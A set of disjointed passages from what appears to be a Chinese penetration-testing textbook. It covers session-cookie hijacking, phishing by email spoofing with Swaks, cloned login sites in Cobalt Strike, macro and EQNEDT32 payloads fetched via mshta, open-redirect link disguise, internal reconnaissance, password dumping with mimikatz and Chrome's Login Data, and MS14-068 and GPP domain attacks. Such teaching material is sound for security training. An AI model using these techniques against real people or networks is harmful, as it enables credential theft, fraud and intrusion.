    {"text": "运行Hamster服务后打开浏览器并输入“127.0.0.1:1234”，即可查看 Hamster提供的Web界面，其内容就是Ferret工具处理的数据包的内容 （捕获的会话Cookie等），获取内网权限如图8-28所示，通过中间人劫 持攻击获取到目标在内网系统的相应权限。 图8-25 开始处理数据包 图8-26 设置代理 图8-27 开启Hamster服务 图8-28 获取内网权限 8.5 钓鱼攻击 钓鱼攻击是一种企图在电子通信中通过伪装获得如用户名、密码和 信用卡明细等个人敏感信息的诈骗犯罪过程。"},
    {"text": "网络钓鱼攻击通常是通过E-mail或者即时通信进行的， 它常常导引用户到URL和界面外观与真正网站几无二致的假冒网站输入 个人数据，就算使用强式加密的SSL服务器认证，要侦测网站是否为仿 冒的实际上仍很困难。 8.5.1 钓鱼攻击类型 1 ．鱼叉攻击 “鱼叉攻击”通常是指将木马程序作为电子邮件的附件并发送到目标 电脑上，诱导受害者去打开附件并感染木马。 2 ．水坑攻击 “水坑攻击”，黑客常用的攻击方式之一，顾名思义，是在受害者的 必经之路设置一个“水坑”（陷阱）。 最常见的做法是，黑客分析攻击目 标的上网活动规律，寻找攻击目标经常访问的网站的弱点，先将此网 站“攻破”并植入攻击代码，一旦攻击目标访问该网站就会“中招”。 8.5.2 钓鱼手法 1 ．邮件钓鱼 邮件钓鱼在钓鱼攻击中是非常常用的手法之一，不管是在APT还是 在攻防渗透中，邮件钓鱼使用得越来越多，不过在一些高级的攻防项目 中对邮件钓鱼的要求也变得越来越高，要求伪造系数高、邮件内容真实 性高和邮件附件免杀率高，而且大多数的邮件在发送到目标邮件系统后 要经过一系列的安全检查后才可以到达目标机器。"},
    {"text": "SPF防护，在邮件中是一个类似Web防火墙的防护方案，Web防火 墙对网络安全来说是个必不可少的设备，而SPF对邮件安全来说也是必 不可少的。 SPF是为了防范垃圾邮件而提出的一种DNS记录类型，它是 一种TXT类型的记录，用于记录某个域名拥有的用来外发邮件的所有IP 地址。 当然现在除了一些大企业事业单位，还有大型的企业或者组织 外，大多数邮箱还是没有配置SPF的，SPF记录可以防止别人伪造邮 件，当定义了域名的SPF记录之后，接收邮件方会根据SPF记录来确定 连接过来的IP地址是否被包含在SPF记录里面，如果在，则认为是一封 正确的邮件，否则则认为是一封伪造的邮件。 对互联互通的影响主要表 现在邮件接收方需要SPF记录检测，如果没有的话，有可能不接收邮 件。"},
    {"text": "我们要伪造李四的邮箱 给张三发送一个对新系统的登录任务，获取张三的账号秘密。 ”完成这 项攻击需要搭建一个和张三办公平台相似的钓鱼平台并伪造李四的账 号。"},
    {"text": "首先开始进行邮件伪造，需要用到工具Swaks，它被誉为“SMTP界 的瑞士军刀”，是由John Jetmore编写和维护的功能强大、灵活、可编写 脚本、面向事务的SMTP测试工具。"},
    {"text": "图8-29 Swaks 1）Swaks邮件伪造 使用最简单的一条命令进行邮件伪造发送，使用“lisi@ceshi.com”这 个邮箱对目标的QQ邮箱发了一封邮件，命令参数为“发送内容：test、 标题：李四test、-t参数：目标邮箱地址、-f参数：伪造的李四邮箱”，具 体的命令为： Swaks发送邮件如图8-30所示。 发送成功后进入QQ邮箱，查看收到的伪造邮件，发现和正常邮件 没有区别，伪造成功，如图8-31所示。 查询邮件源码，可以获取发件人的IP地址或者服务名，通过这个信 息邮件伪造可能会被识别，暴露IP信息如图8-32所示。 图8-30 Swaks发送邮件 图8-31 伪造成功 图8-32 暴露IP信息 如果张三、李四的公司邮箱系统设置了SPF防护，用此方法就不可 以进行伪造了，会发送失败。 除了本地使用的Swaks工具外，还可以采 用在线平台的邮件伪造进行攻击，链接 为“http://tool.chacuo.net/mailanonymous”，在线邮件伪造如图8-33所示。 图8-33 在线邮件伪造 2）克隆钓鱼站点 邮件伪造的过程我们已经明白了，那么下一步就是搭建一个钓鱼平 台，让目标输入用户名、密码信息。"},
    {"text": "使用Cobalt Strike克隆目标系统， 使用“Attacks”菜单的“Web Drive-by”选项中的“Clone Site”选项克隆网 站，如图8-34所示。 图8-34 克隆网站 克隆参数： 选择好要伪装的目标，输入第一个框内（Clone URL），端口位置 （Local Port）一定要写一个VPS里面未被占用的。"},
    {"text": "克隆完成后访问克隆界面，如图8-36所示，发现与原系统完全一 样，唯一的区别就在于URL，不过我们是伪装成李四进行发信的，可以 装作李四发送邮件内容：“李三，系统换了一个新地址，数据库未变， 你登录进去看一下。 ”URL也可以进行一定的伪造，比如正常的URL 是“http://www.testoa.com”，克隆的网站可以设置 为“http://www.test0a.com”，将“oa”改为“0a”，这样安全意识不高的人就 容易被欺骗。"},
    {"text": "张三进入QQ邮箱收到伪造的邮件，如图8-38所示，当然在真实攻 击中伪造的邮件内容要再完善一下，比如进行水坑攻击。 张三收到邮件后看到是李四（张三的直属领导）发送过来的，大多 数人的下意识反应就是尽快解决领导交代的事情，然后登录攻击者构造 的克隆网站。 张三使用用户名、密码登录CS工具克隆的钓鱼网站，输 入的所有字符都在CS工具内的Web Log日志中被记录，Web Log如图8-39所示。"},
    {"text": "在攻击过程中，我们可能也会用到同域的账号进行伪造，比如163 邮箱，伪造成admin管理员账号，这里使用到的则是SMTP服务，更改 from头部信息即可。"},
    {"text": "图8-37 使用Swaks发送邮件 图8-38 伪造的邮件 图8-39 Web Log 图8-40 邮件伪造 2 ． Cobalt Strike 钓鱼 1）Word宏钓鱼 Word宏钓鱼开始之前，首先了解一下什么是宏病毒。"},
    {"text": "宏病毒是一 种寄存在文档或模板的宏中的计算机病毒。 一旦打开这样的文档，其中 的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在 Normal模板上。 从此以后，所有自动保存的文档都会被“感染”上这种宏 病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到其 他用户的计算机上。"},
    {"text": "Word宏钓鱼用到的工具为Cobalt Strike，开始之前在CS内开启一个 CS监听，如图8-41所示。 图8-41 CS监听 开启监听后，使用Cobalt Strike生成“宏代码”，打开“Attacks”菜单 的“Packages”选项中的“MS Office Macro”选项，宏生成路径如图8-42所 示，开始生成宏的Payload。"},
    {"text": "图8-42 宏生成路经 图8-43 宏生成 创建一个Word文档，在文档内创建一个宏，然后保存为可以启用 宏的Word（如docm），创建宏的路径，单击“视图”菜单的“宏”选项， 单击“查看宏”选项，然后单击“创建宏”按钮，创建路径如图8-44所示。"},
    {"text": "图8-44 创建路经 把CS生成的宏代码复制进去，然后保存宏代码，如图8-45所示。 图8-45 保存宏代码 制作成功后我们就可以配合Swaks工具将该文档作为附件发送给用 户，用户一旦点开该文档就可以在CS工具内上线，目标上线如图8-46所 示。"},
    {"text": "该漏洞的成因是“EQNEDT32.EXE”进程在读入 包含MathType的OLE数据时，在拷贝公式字体名称时没有对名称长度进 行校验，从而造成栈缓冲区溢出，该漏洞是一个非常经典的栈溢出漏 洞。"},
    {"text": "通过EXP构造这个POC，可以看到“-c”参数后面有一串链接， 以“mshta”为开头代表要执行的是“hta”格式的文件，后面的URL是我们 使用CS工具生成的在线Powershell，我们的目的是钓鱼，肯定要获取目 标的权限，所以直接通过CS生成“hta”格式的Powershell，如图8-47所 示，然后挂在服务器上，生成路径如图8-48所示。 图8-47 生成“hta”格式的Powershell 图8-48 生成路径 将生成的恶意文件发送给用户之后，用户点开就会上线，生成的文 件如图8-49所示。"},
    {"text": "图8-49 生成的文件 图8-50 目标上线 3 ．重定向钓鱼 提起“重定向钓鱼”，可能会使人想到“Oauth2.0授权接口的网站存在 隐蔽重定向漏洞”。 新加坡南洋理工大学研究人员Wang Jing发现 Oauth2.0授权接口的网站存在“隐蔽重定向”漏洞，黑客可利用该漏洞给 钓鱼网站“变装”，用知名大型网站链接引诱用户登录钓鱼网站，一旦用 户访问钓鱼网站并成功登录授权，黑客即可读取其在网站上存储的私密 信息。"},
    {"text": "当然Oauth2.0授权接口漏洞的利用需要目标站点存在 XSS漏洞。 上面说到的Oauth2.0授权接口的网站除了存在隐蔽重定向漏洞外， 还有302跳转漏洞，这种类型的钓鱼攻击方法对大众的攻击成功率也是 较高的。 往往稍微有点安全意识的人会辨别域名的前方是否为正确的地 址，但可能会忽略后面，我们可以在目标站点寻找302跳转漏洞并进行 攻击，如“xxx.com/url.php=hack.com”，大多用户看到“xxx.com”网站正 确就访问此URL，但是会跳转到“hack.com”，那么我们可以 在“hack.com”上伪造与目标相同的系统，也可以构建信息收集的脚本， 获取其指纹IP等信息。 构造跳转链接的时候如果要更好的规避用户的发现可以使用URL短 网址、构造多链接、使用子域名等方式。"},
    {"text": "首先，正常的链接如下所示： 正常链接的含义为输入了账号密码，然后跳转 到“http://172.16.26.177/usercode.php”地址，去判断账号密码的正确性， 但是程序未对跳转的范围进行控制，导致了302跳转漏洞，首先我们进 行简单的跳转： 把“http://172.16.26.177/usercode.php”替换成百度的网址即可，跳转 如图8-51所示。"},
    {"text": "1）填充无用字符 如果我们使用上述的方法直接发送给用户，用户可能会看出端倪， 可以填充大量的字符造成用户“视觉混乱”，如对无用的参数位置增加大 量的无用字符： 图8-51 跳转 当然这里只是举例，具体填充什么数据可以参考目标站点的请求进 行结构，只要正常的跳转参数未变动即可，填充参数如图8-52所示。 构造以后的链接通过微信、QQ等方式发送给用户，效果要比未填 充时好很多，用户如果不细心就不注意后方的链接，通过微信发送如图 8-53所示。 图8-52 填充参数 图8-53 通过微信发送 2）短链接 短链接大家也不是很陌生，网上也有很多生成短链接的平台，就 以“qq.com”为例，使用的是腾讯旗下的“url.cn”短域名进行配合，如： 使用较大平台的域名进行伪装，效果提升也是很大的，看 到“qq.com”后大多数用户会没有任何的防范心理，跳转如图8-54所示。 图8-54 跳转 3）伪造子域名 伪造子域名进行钓鱼攻击的方法需要自备一个域名，在DNS上面增 加一个子域名，比如我们需要攻击的网站域名为“ceshi.com”，那么我们 可以加一个“ceshi”的子域名进行解析，如“ceshi.baidu.com”： 跳转如图8-55所示。"},
    {"text": "在内网渗透中，想要获取更多的攻击面， 那么信息收集是必不可少的，而且信息的完整性决定了攻防渗透的结 果。 在内网中的资产多、服务多，收集的敏感信息要比外网收集的多很 多，下面将列举几个内网渗透中比较常见的敏感信息的收集方法。"},
    {"text": "很 多内网摄像头的后台管理Web端就在内网中，可以通过公开的漏洞和弱 口令进行攻击，如果攻击成功，就可以通过摄像头获得人员照片、区域 结构、人员流量等。"},
    {"text": "LED大屏，在一些政府机关和事业机构中经常会被用到，LED大屏 除了会显示一些通知外，还会显示一些人员的姓名，得到姓名后可以做 的事情非常多，比如生成暴力破解字典、获取员工个人信息和内部组织 架构信息等。"},
    {"text": "9.1.2 共享目录信息收集 共享目录也就是共享文件夹，共享文件夹是指某个计算机用来和其 他计算机间相互分享的文件夹，共享目录可以被称为一个小资料库，包 含内部通告、要打印的工资表和IT资产等。"},
    {"text": "举例两种对共享目录进行查找的方法： 1）Nmap工具 遍历远程主机共享目录的脚本为“smb-enum-shares.nse”，运行命 令“nmap-script= smb-enum-shares.nse目标”，如图9-1所示。"},
    {"text": "图9-3 查看共享目录 9.1.3 数据库信息收集 数据库是内网渗透攻击中的重点目标，数据库被控制后除了要收集 Web系统的后台账号和密码，还要查看有无身份证信息、员工数据和组 织架构等。"},
    {"text": "图9-5 连接数据库 9.1.4 高价值文档信息收集 这里说的高价值文档不是员工的简历信息或者员工的手机号，而是 在内网攻击中需要的VPN认证凭据、运维的密码本等，如果能找到企业 检查的漏洞报告或服务器安全加固的文档等会更好。"},
    {"text": "举例两种获取高价值文档的方法： 1）内网员工机器 通过如图9-6所示的内网员工机器获取高价值文档。 2）共享文件目录 通过如图9-7所示的共享文件目录获取高价值文档。"},
    {"text": "图9-6 内网员工机器 图9-7 共享文件目录 9.1.5 NFS 信息收集 网络文件系统（Network File System，NFS），是由SUN公司研制 的Unix表示层协议，能使使用者访问网络上别处的文件，就像在使用自 己的计算机一样。"},
    {"text": "NFS常见的漏洞为NFS共享目录配置漏洞。 NFS服务共享目录配置 漏洞的危害极大，由于权限的配置不当，可以读取目标主机的任意文 件。 NFS服务配置漏洞也具有对根目录远程可写的权限，这样就可以通 过修改“/root/.ssh/authorized_keys”实现远程SSH无密码登录。 可以使用命令“showmount-e目标”查看是否存在此漏洞，使用“-e”参 数查看NFS挂载的信息，如图9-8所示。"},
    {"text": "图9-8 查看NFS挂载的信息 9.1.6 Wiki 信息收集 Wiki是一个覆盖整个企业所有部门的系统，大部分的企业Wiki里面 包括了项目管理、软件研发与测试、硬件研发与测试、生产、人事和IT 部门等资料。 有的企业Wiki里面还可能存在项目文档相关信息等，企业 的员工会每天更新项目文档等资料到Wiki系统，其价值对于攻击者来说 非常大，对于做进一步攻击提供了非常大的便利。"},
    {"text": "举例快速查找Wiki系统的方法： （1）查找企业的子域名，可以使用Wiki作为二级站点进行访问， 如“wiki.any. com”。 （2）使用工具对网段内的Web系统进行Title探测，如Wiki系统均 会采用XX公司Wiki系统、XX公共空间系统等命名。"},
    {"text": "9.1.7 SVN 信息收集 企业为了让多个员工协同工作、多人共同开发同一个项目、实现共 享资源、实现最终集中式的管理，通常会在内网中使用SVN。"},
    {"text": "SVN是一 个开放源代码的版本控制系统，SVN里面存在着大量的源代码等，如果 获得了SVN的权限，就可以把里面的所有内容下载下来，里面存在大量 的敏感信息，如配置账号等。"},
    {"text": "9.1.8 备份信息收集 备份信息一直以来都是敏感信息收集中不可忽略的一部分，可以对 本地备份的文件、中央备份服务器和远程备份方案等下手，这些备份信 息中可能会有老数据、旧版的系统源码等，不管是对内网攻击还是互联 网攻击来说，对于后期的攻击都是非常重要的。 针对备份进行攻击的常用方法： 1）备份一体机管理平台弱口令 通过弱口令攻击备份一体机管理平台，如图9-9所示。 图9-9 备份一体机管理平台 2）内部私有云盘 有的企业会把备份传到私有云盘中进行保存，我们可以通过社工、 弱口令等方式进入私有云盘，下载备份文件。 3）管理员PC端 很多数据库的备份都会在管理员的PC机器内，可以通过对管理员 的PC进行攻击，查找相关备份文件。"},
    {"text": "9.2 本机信息收集 9.2.1 用户列表 用户列表的目的是获取机器的用户信息，Windows系统查看用户的 命令是“net user”，Linux系统是“cat /etc/passwd”。"},
    {"text": "使用命令“net user”获取本机用户，如图9-10所示，发现存 在“Administrator”和“Guest”两个用户。 图9-10 获取本机用户 如果在域内环境，可以使用命令“net user /domain”获取域内用户， 如图9-11所示，发现存在“Administrator”“Guest”“krbtgt”等多个用户。 图9-11 获取域内用户 上面为Windows系统获取用户的方法。 使用命令“cat /etc/passwd”查 看Linux系统的用户，发现存在“root”等用户，系统用户如图9-12所示。 使用“whoami”命令查看Windows权限，如图9-13所示，发现是管理 员权限。 使用“whoami”命令查看Linux权限，发现是“root”权限，如图9-14所 示。 图9-12 系统用户 图9-13 查看Windows权限 图9-14 Linux权限 9.2.2 主机信息 主机信息标识了服务器的类型，确认攻击拿到权限的主机是普通 Web服务器、开发测试服务器、公共服务器、文件服务器、代理服务 器、DNS服务器，还是存储服务器等，可以通过主机的计算机名称和主 机内的文件来判断。 通过主机内的计算机名称判断，如图9-15所示。 通过主机内的文件判断，如图9-16所示。 图9-15 计算机名称 图9-16 主机内的文件 9.2.3 进程列表 查看进程列表的目的是得知机器上面运行着什么软件，有没有安全 防护软件、邮件客户端、VPN和FTP等服务。 下面介绍两种查看进程的 方法，其中一种是通过系统自带的命令，对于Windows系统可以使用命 令“tasklist”，对于Linux系统可以使用命令“top”；"},
    {"text": "图9-17 获取进程 也可以使用D盾工具进行进程列表的获取，如图9-18所示。 图9-18 进程列表的获取 在Linux系统内可以使用命令“top”获取进程列表，发现运行 了“ssh”等服务，进程列表如图9-19所示。 图9-19 进程列表 9.2.4 端口列表 查看端口列表的目的是获取机器开放端口的数量、端口对应的服务 和对应服务的漏洞，在Windows系统下通常使用“netstat -ano”命令获取 端口，Linux系统下通常使用“netstat -ntulp”命令获取端口。"},
    {"text": "知道端口后 还要看一下对应什么服务，例如，开放了25端口，那么它的对应服务可 能就是SMTP服务，SMTP存在着暴力破解风险、弱口令风险、未授权 访问风险。 在Windows系统下执行“netstat -ano”查看端口，如图9-20所示，“本 地地址”中显示了本地端口的开放状态，可以看出开放了TCP协议 的“135”“445”等多个端口。 图9-20 查看端口 在Linux系统下执行“netstat -ntulp”查看端口，如图9-21所示，“Local Address”中显示了本地端口的开放状态，可以看出开放了TCP协议 的“22”“80”等多个端口。"},
    {"text": "比如CVE-2018-8120提权漏洞，如果在内网的机器是低权限而且 还没有打CVE-2018-8120提权漏洞的补丁，那么就可以轻松地通过CVE-2018-8120提权漏洞获取到最高权限。"},
    {"text": "下面介绍查看补丁列表的方法，Windows系统下可以使 用“systeminfo”和“wmic qfe list full”命令。 使用“systeminfo”命令查看补 丁列表，如图9-22所示。 图9-22 查看补丁列表 Windows系统下使用“wmic qfe list full”命令，查看全部补丁如图9-23所示。 图9-23 查看全部补丁 Windows内执行命令“wmic qfe list full /format:htable>c:\\test.html”， 可以把补丁信息导出到C盘目录下HTML格式的文件内，然后使用浏览 器查看，补丁信息如图9-24所示。"},
    {"text": "图9-24 补丁信息 9.2.6 用户习惯 利用用户习惯的目的是通过计划任务、最近打开的文件文档、收藏 夹、文档或历史记录等获取更多的信息。"},
    {"text": "1）计划任务 查看Windows计划任务，如图9-25所示，首先单击“控制面板”中 的“所有控制面板项”选项，然后单击“管理工具”选项，再单击“任务计 划程序”选项。 图9-25 查看Windows计划任务 Linux计划任务可以通过“crontab -l”命令查看，查看Linux计划任务 如图9-26所示。 图9-26 查看Linux计划任务 2）最近打开的文件文档 在Windows内打开路径“C:\\Users\\用户名\\Recent”，显示的是最近打 开过的文件文档，如图9-27所示。 图9-27 最近打开的文件文档 Linux系统下使用“history”命令查看最近的操作，如图9-28所示。 图9-28 查看最近的操作 3）收藏夹 打开“计算机”，在最左侧上方会有显示“收藏夹”，如图9-29所示。 图9-29 收藏夹 4）文档 包括但不限于使用搜索工具或者Windows系统自带搜索筛选器功能 通过关键字查找搜索文档，如图9-30所示。 图9-30 搜索文档 5）历史记录 通过查看机器上面的浏览器的历史记录等，可以获取用户经常访问 的网站，历史记录如图9-31所示。"},
    {"text": "下面介绍一下如何使用经典的“mimikatz”工具获取系统的密码。 要想使用“mimikatz”获取系统用户密码，需先在“mimikatz”内使 用“privilege::debug”提升到高权限，提升权限如图9-32所示。"},
    {"text": "图9-32 提升权限 执行“sekurlsa::logonPasswords”命令获取本地用户密码，如图9-33所 示，通过此命令获取本地“Administrator”用户的密码为“any@123”。"},
    {"text": "图9-33 获取本地用户密码 对于浏览器的密码收集，这里举例使用的是谷歌浏览器，如图9-34 所示的谷歌浏览器密码数据库文件的存储位置 为“C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data”，找到“Login Data”数据库文件。 图9-34 谷歌浏览器密码数据库文件 找到文件后，使用数据库查看软件“SQLiteStudio”，下载地址 为“https://github.com/ pawelsalawa/sqlitestudio/releases”，查看数据库如图 9-35所示。 通过数据库查看软件打开谷歌浏览器的数据库可以看到其存 储的各个字段，包括登录地址、账户名、密码等。"},
    {"text": "图9-35 查看数据库 9.3 网络架构信息收集 网络架构分析是后渗透中非常重要的一个环节，一个企业内网中的 IT资产众多，在内网中通常会分有DMZ区、办公区、运维管理区，也可 能会有很多的网段。"},
    {"text": "后渗透的目的是拿下整个内网机器的权限或者某个 重要服务器的权限，最开始的时候只有一台身在“内网”的机器权限，其 他的情况一概不知。 这个时候需要做的就是判断此机器处于内网的什么 地方、内网有多少网段、内网有没有域、目标机器在域中是什么角色等 问题，只有分析出目标的网络架构及IT资产信息，才能针对性的做出更 加有效的攻击。"},
    {"text": "9.3.1 netstat 收集网络信息 使用“netstat”命令查看正在建立连接的机器从而进行内网机器的探 测，可以发现本机正在与名为PC的机器建立连接，显示网络状态如图9- 36所示。"},
    {"text": "图9-37 IP地址 9.3.2 路由表收集网络信息 获取路由表内的地址后再使用工具或cmd命令对C段、B段进行探 测。 Windows系统下可以运行命令“route print -4”获取路由，如图9-38所 示。 图9-38 获取路由 Linux系统下可以运行“route -n”命令获取路由，如图9-39所示。 图9-39 获取路由 MSF工具Shell上面获取的路由的命令为“run get_local_subnets”， MSF获取路由如图9-40所示。 图9-40 MSF获取路由 9.3.3 ICMP 收集网络信息 对于Windows系统可以使用cmd命令扫描，例如运行下述命令，进 行ICMP扫描C段： 扫描结果回显，如图9-41所示。"},
    {"text": "图9-41 扫描结果回显 也可以运行下述命令，扫描结果会导出在C盘“a.txt”（不存活的主 机）和“b.txt”（存活主机）。 注意，导出到C盘需要管理员权限，扫描结果导出如图9-42所示。"},
    {"text": "也可以使用Powershell进行ICMP扫描C段，但是需要下载“Invoke-TSPingSweep.ps1”，微软官方地址 为“https://gallery.technet.microsoft.com/scriptcenter/ Invoke-TSPingSweep-b71f1b9b”。 扫描端口可以任意设置，扫描范围也可以设置，运行下述 命令进行ICMP扫描C段： 图9-42 扫描结果导出 ICMP扫描如图9-43所示。 图9-43 ICMP扫描 对于Linux系统，可以使用下述命令进行ICMP扫描C段： ICMP扫描如图9-44所示。"},
    {"text": "图9-44 ICMP扫描 9.3.4 Nbtscan 收集网络信息 Nbtscan是一款用于扫描Windows网络的NetBIOS名字信息的程序， 它可以获取PC的真实IP地址和MAC地址，下载地址 为“http://www.unixwiz.net/tools/nbtscan.html”。"},
    {"text": "对于Windows系统，可以运行命令“nbtscan.exe -m 192.168.0.1/24”扫 描，主机信息查询如图9-45所示。 图9-45 主机信息查询 也可以使用Kali系统自带的Nbtscan工具，可以直接使用命 令“nbtscan -r 192.168.0.1/24”对C段进行扫描，主机信息查询如图9-46所 示。"},
    {"text": "对于Windows系统可以通 过“C:\\Windows\\System32\\drivers\\etc\\hosts”路径查看hosts文件，如图9-47 所示。 图9-47 查看hosts文件 对于Linux系统可以通过“/etc/hosts”命令查看hosts文件，如图9-48所 示。"},
    {"text": "图9-48 hosts文件 9.3.6 登录日志收集网络信息 查看登录日志获取更多的IP信息，在内网中，管理员可能会使用办 公网PC进行登录，这样就可以收集办公网其他C段的资产信息。"},
    {"text": "对于Windows系统，首先单击“管理工具”按钮，打开“事件查看 器”，然后单击“Windows日志”中的“安全”选项查看登录日志，如图9-49 所示。 图9-49 查看登录日志 查看登录日志详情，如图9-50所示，从“ClientAddress”可以看到登 录的IP为“192.168.0.11”。 对于Linux系统，可以使用“last”命令查看登录日志，如图9-51所 示。 图9-50 查看登录日志详情 图9-51 查看登录日志 9.3.7 数据库配置文件收集网络信息 通常在内网中业务系统的数据库不在同一个机器上，甚至不在同一 个网段内。"},
    {"text": "图9-52 数据库服务器的IP 9.3.8 代理服务器收集网络信息 在内网中通常都会有代理服务器，大部分的机器都会经过代理服务 器上外网，代理服务器很有可能和目标内网的机器不在同一个网段，可 以通过代理服务器发现一个新的C段。 对于Windows系统，首先单击“Internet选项”，单击“连接”选项中 的“局域网设置”，通过如图9-53所示的“代理服务器”设置代理服务器。 图9-53“代理服务器” 对于Linux系统，可以通过“/etc/profile”文件查看代理配置，如图9-54所示。 图9-54 查看代理配置 9.4 域渗透 9.4.1 域简述 1 ．域和工作组 工作组是最常见、最简单、最普通的资源管理模式，将不同的电脑 按功能分别列入不同的组中，以方便管理。"},
    {"text": "工作组是一个由许多在同一 物理地点，而且被相同的局域网连接起来的用户组成的小组。 相应地， 一个工作组也可以是由遍布一个机构的，但却被同一网络连接的用户构 成的逻辑小组。"},
    {"text": "通过修改工作组的名称加入或者退出某个工作组，右键单击“计算 机”，会弹出快捷菜单，然后在快捷菜单中选择“属性”，打开“系统”， 弹出“系统属性”对话框，然后切换到“工作组”，单击“修改”键，确定后 重新启动计算机即可，工作组如图9-55所示。"},
    {"text": "域是一组服务器和工作站的集合，域在中大型企业的网络中很常 见，并且很多内部网络中并不只有一个域的存在，正因为域可以集中管 理、拥有便捷的网络资源访问和可拓展性等优点，才会在大型企业中广 泛应用。 在一些比较大的企业，办公电脑或者服务器居多，管理十分不 便，但是接入域就可以解决此难题，可以实现域内资产的统一管理，如 图9-56所示。"},
    {"text": "工作组和域的区别在于创建方式不同、安全机制不同和登录方式不 同。 在创建方式方面，工作组可以由任何的计算机用户创建，而域只能 通过域控制器进行创建。"},
    {"text": "图9-56 域内资产的统一管理 2 ．域控制器 域控制器（Domain Controller，DC，简称域控）是指在“域”模式 下，至少有一台服务器负责每一台联入网络的电脑和用户的验证工作， 接入的电脑和用户就是所谓的在域内的机器和域的用户，都归域控制器 管理，域控制器的功能包括但不限于增加、删除、修改等。"},
    {"text": "图9-57 通过域控制器对域内机器进行设置 9.4.2 域信息收集 在域中一般要收集的信息为域内用户信息，域内域控制器信息，域 用户登录日志信息，域内所有用户名、全名和备注等信息，域内工作组 信息，域管理员账号信息，域内网段划分信息与域内组织单位信息等。 进入一个域环境，大多最开始时获取的是域普通权限而非域管理权 限，所以在前期要收集的信息多以域的地址、域用户或者系统等信息为 主。 在域内收集域基础信息时通常使用Windows系统自带的命令就足够 了，下面例举几个用Windows系统自带的命令进行信息收集的方法。 1 ．查找当前域 如果在一个分布复杂的环境下开展渗透，需要区分其环境，比如是 工作组还是域，如果是域，还要判断其存在几个域，域是几层结构。 常 用命令如下： 查看当前域如图9-58所示，通过“net view /domain”命令得到了域的 名字为“REALLY”。 图9-58 查看当前域 2 ．查找域控制器 通过“ipconfig/all”命令，获得本机IP为“192.168.10.1”，域 为“really.com”，DNS服务器为“192.168.1.1”。 在单域中，DNS与DC是在 同一服务器中，大致可以判断域控制器的地址为“192.168.1.1”，查看详 细的网络配置如图9-59所示。 图9-59 查看详细的网络配置 为了更好的判断域控制器的地址，如图9-60所示，可以使 用“ping”命令进行验证，运行命令“ping really.com”，确 定“192.168.1.1”地址为域DC地址。"},
    {"text": "用于定位域控制器的方法有很多种，也可使用“net group \"Domain Controllers\"”命令来查找域控制器组，域控制器组中有一个名为“WIN-KSSLLQN33SJ”的域控制器机器名，定位域控制器如图9-61所示。 图9-60 判断域控制器的地址 图9-61 定位域控制器 得知域控制器机器名之后，可以使用“ping”命令获取IP地址，如图 9-62所示。 使用命令“ping WIN-KSSLLQN33SJ-4”，得知域控制器的IP 为“192.168.1.1”。"},
    {"text": "我们首先要找到域管理员用户，通过“net group \"domain admins\" /domain”命令查询有管理权限的用户，如图9-63所示，得 知“Adminnistrator”账号和“really”账号具有管理权限。 图9-62 获取IP地址 图9-63 查询有管理权限的用户 9.4.3 域控攻击 对域内的攻击方法可以理解为两类，第一类是利用常规漏洞进行攻 击，比如利用域内机器上面的Web服务、机器系统层面的漏洞（如 MS17-010），另外一类就是针对域控制器的漏洞（如MS14-068），可 以通过普通权限获取域控的权限。 在域内攻击要避免防火墙、流量检测等安全防护设备的拦截和监 控，一旦被管理员发现就会失去其权限，如果再想攻入域内就要麻烦很 多。 大多攻击域控的目的是维持其权限，如果拿到域控权限，一定要获 取最高权限并做好权限维持，下面以常用的MS14-068、MS14-025、 Pass The Hash、黄金票据和其他维权的方法进行域控攻击及权限维持的 介绍。 1 ． MS14-068 攻击 1）漏洞产生原因 Windows Kerberos对Kerberos Tickets中的PAC（Privilege Attribute Certificate）的验证流程中存在MS14-068漏洞，低权限的经过认证的远 程攻击者利用该漏洞可以伪造一个PAC并通过Kerberos KDC（Key Distribution Center）的验证，若攻击成功，攻击者可以提升权限，获取 域管理权限。 2）漏洞利用条件 第一个条件：域控没有安装MS14-068的补丁，MS14-068对应的补 丁为KB3011780，可在域控上通过“systeminfo”查看是否安装此补丁，查 看补丁情况如图9-64所示。"},
    {"text": "攻击者可以仿冒域中的任何用户，包括 域管理员，并加入任何组。 通过冒充域管理员，攻击者可以安装程序， 查看、更改或删除数据，或者在任何加入域的系统上创建新账户。"},
    {"text": "利用“ms14-068.exe”提权工具生成伪造的Kerberos协议认证证书，利 用的工具命令为“ms14-086.exe -u（域用户@域）-p（此域用户的密码） -s（user的sid） -d (ac的ip)”，漏洞利用工具执行成功后会在当前目录 （MS14-068工具目录）下生成一个“ccache”格式的文件（伪造的票 据），生成伪造票据如图9-66所示。"},
    {"text": "第四步：导入票据，获取域控权限。 缓存删除之后，再进行票据的导入，导入票据的命令 为“kerberos::ptc 自定义命名.ccache”，导入票据如图9-67所示，执行后显 示OK，则证明成功获取域控制器权限。 图9-67 导入票据 攻击结束后使用“dir”命令列举域控C盘，如图9-68所示，证明漏洞 利用成功。 图9-68 列举域控C盘 2 ． MS14-025 攻击 1）漏洞产生原因 在域内修改机器的账号密码比较烦琐，所以很多人都在用微软的 Group Policy Preferences（GPP），GPP的功能之一是可以批量修改账 号，但是域管理员在配置完GPP后会在SYSVOL文件夹内保存配置的 XML文件，所以我们可以利用到这一情况对保存的XML文件的密文进 行解密。"},
    {"text": "SYSVOL文件夹是一个存储着域公共文件服务器副本的共享文 件夹，域内机器都可以访问。 SYSVOL文件夹内存储着登录或者注销脚 本、组策略配置文件等。"},
    {"text": "当然域管理员配置GPP后保存的XML文件也在 里面，XML文件内存在着域管理员配置GPP时输入的密码，不过这些字 段都被AES 256加密了，虽然被加密，但是微软官方已经公开了AES 256加密的私钥。"},
    {"text": "2）漏洞利用条件 在利用“MS14-025”漏洞开始之前，需先知道利用失败或者出错可能 是什么原因造成的，一般存在以下几种原因： （1）安装了GPP凭证补丁：“KB2962486”，这个补丁禁止在组策略 配置中填入密码，可使用补丁查询命令“systeminfo”查询是否安装 了“KB2962486”补丁。"},
    {"text": "SYVOL文件夹的位置为“\\\\<DOMAIN>\\SYSVOL\\ <DOMAIN>\\Policies\\”，“<DOMAIN>”代表的是域名字，首先要判断是 否有访问权限，SYVOL文件夹如图9-69所示。"},
    {"text": "GPP组策略选项内包含了：映射驱动（Drives.xml）、数据源 （DataSources.xml）、打印机配置（Printers.xml）、创建/更新服务 （Services.xml）、计划任务（ScheduledTasks.xml）、密码配置 （group.xml）文件。"},
